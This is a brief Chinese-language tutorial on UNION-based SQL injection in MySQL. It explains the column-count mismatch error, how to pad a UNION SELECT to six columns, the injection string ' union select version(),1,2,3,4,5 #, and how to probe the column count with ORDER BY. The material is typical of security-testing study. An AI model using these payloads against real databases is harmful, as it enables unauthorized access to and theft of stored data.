在测试SQL注入的时候,mysql提示错误,因为联合语句查询的结果的列数不同,导致了这个错误。例如下面的SQL查询语句:
select * from user where user_id='1' union select version();
表user有6列,而union后面的语句:select version()查询结果只有一列,因此会出现错误,把后面的语句查询结果变成6列就可以了。
select * from user where user_id='1' union select version(),version(),version(),version(),version(),version();
当然这比较麻烦,我们可以直接打印一些数字就可以了,像下面这样:
select * from user where user_id='1' union select version(),1,2,3,4,5;
这样凑够了6列,就可以成功执行了。
SQL注入语句如下:
' union select version(),1,2,3,4,5 #
使用order by语句判断表的列数
select * from user where user_id='1' order by 6
当order by 6,按照第6列排序的时候,结果返回正常,而order by 7,按照第7列排序的时候,mysql提示错误,则说明表user有6列。
union会去除重复的数据项,union all会显示所有数据项,union关键字从mysql 4.0开始使用。